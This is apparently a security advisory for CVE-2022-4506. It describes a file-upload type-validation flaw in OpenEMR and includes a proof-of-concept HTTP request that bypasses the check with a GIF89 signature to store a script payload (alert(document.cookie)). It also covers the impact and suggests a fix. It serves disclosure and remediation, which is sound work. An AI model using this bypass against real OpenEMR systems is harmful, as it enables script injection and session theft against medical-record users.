CVE-2022-4506: File Upload Type Validation Error in openemr

Description

The upload functionality does not properly validate the file content-type, allowing any authenticated user to bypass this security check by adding a valid signature (p.e. GIF89) and sending any invalid content-type. This could allow an authenticated attacker to upload HTML files with JS content that will be executed in the context of the domain.

Proof of Concept

The following request was modified to allow uploading HTML file using a valid GIF signature, but can be modified to upload any kind of content-type:

POST /openemr/controller.php?document&upload&patient_id=00&parent_id=1& HTTP/1.1
Host: REDACTED
(...snip...)
Upgrade-Insecure-Requests: 1

-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="MAX_FILE_SIZE"

64000000
-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="file[]"; filename="1111.txt"
Content-Type: text/html

GIF89<script>alert(document.cookie);</script>
-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="dicom_folder[]"; filename=""
Content-Type: application/octet-stream

(...snip...)
-----------------------------139184551113566022282519832587--

The security checks where implemented using the mime_content_type function, but if it pass that filter, the file content-type was always stored as-is.

Impact

This could allow an attacker to write custom pages that will be shown in the context openemr domain. Those pages can contain phising html or even JS code that will be executed in the context of the active user browser.

Occurrences

C_Document.class.php L297

In that line was stored the mimetype as sent. One of the solutions could be return the mimetype returned by isWhiteFile function.